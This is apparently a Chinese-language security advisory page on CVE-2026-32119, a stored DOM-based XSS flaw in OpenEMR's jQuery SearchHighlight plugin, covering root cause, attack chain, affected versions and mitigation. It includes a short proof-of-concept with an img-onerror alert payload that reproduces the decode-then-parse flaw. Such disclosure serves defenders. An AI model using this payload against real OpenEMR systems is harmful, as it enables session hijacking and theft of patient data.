IPBUF安全漏洞报告
English
CVE-2026-32119 CVSS 4.4 中危

OpenEMR SearchHighlight插件存在DOM型存储XSS漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-32119
漏洞类型
DOM-based Stored XSS
CVSS评分
4.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenEMR

相关标签

XSSDOM-based XSSOpenEMRStored XSS医疗信息安全

漏洞概述

OpenEMR 8.0.0.2之前的版本中存在DOM型存储型XSS漏洞。该漏洞源于jQuery SearchHighlight插件处理DOM节点时的逻辑缺陷,允许拥有 encounter form 写权限的认证用户注入恶意JavaScript。当其他临床医生在“Custom Report”页面使用搜索查找功能时,恶意代码将在其浏览器中执行,进而窃取敏感数据或劫持会话。

技术细节

该漏洞位于 `library/js/SearchHighlight.js` 插件中,其根本原因在于插件错误地反转了服务器端的HTML实体编码机制。具体流程为:插件从DOM文本节点读取服务器已编码(如 `<` 转义为 `&lt;`)的文本内容,浏览器在读取DOM节点时会自动解码这些实体字符。随后,插件将解码后的文本直接拼接成原始HTML字符串,并传递给jQuery的 `$()` 构造函数进行解析。这一操作使得原本被转义的恶意脚本被还原并执行。攻击者只需具备 encounter form 写权限,即可通过提交表单植入Payload。当受害者访问特定页面并触发搜索时,攻击链即完成。

攻击链分析

STEP 1
1. 权限获取与注入
攻击者获取具有 encounter form 写权限的 OpenEMR 账户,并在表单字段中注入恶意的 JavaScript Payload。
STEP 2
2. 数据存储
服务器接收数据并进行 HTML 实体编码后存储到数据库中。
STEP 3
3. 触发搜索
受害者(如临床医生)登录系统,访问“Custom Report”页面并使用搜索/查找功能。
STEP 4
4. 恶意代码执行
SearchHighlight 插件读取 DOM 节点内容,反转 HTML 编码,通过 jQuery 解析并执行攻击者注入的脚本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Step 1: Attacker injects payload into an encounter form field // The server stores this, typically HTML encoding it (e.g., < becomes &lt;) var payload = "<img src=x onerror=alert('CVE-2026-32119')>"; // Step 2: Simulation of the vulnerable SearchHighlight.js logic // when a victim uses the search feature on the Custom Report page. // 1. The plugin reads the encoded text from the DOM // Browser decodes &lt; back to < when accessing .textContent var simulatedServerResponse = "&lt;img src=x onerror=alert('CVE-2026-32119')&gt;"; var tempDiv = document.createElement('div'); tempDiv.innerHTML = simulatedServerResponse; var decodedText = tempDiv.textContent; // decodedText is now the raw malicious HTML string // 2. The plugin concatenates the decoded text into an HTML string // and passes it to jQuery $() for parsing/highlighting var vulnerableHtmlString = "<span class='highlight'>" + decodedText + "</span>"; // 3. jQuery parses the string, executing the script $(vulnerableHtmlString).appendTo('body');

影响范围

OpenEMR < 8.0.0.2

防御指南

临时缓解措施
建议立即升级至修复版本。若无法立即升级,应暂时禁用 jQuery SearchHighlight 插件,或禁止非管理员用户编辑 encounter form。同时,建议用户在系统完全修复前,避免在 Custom Report 页面执行搜索操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表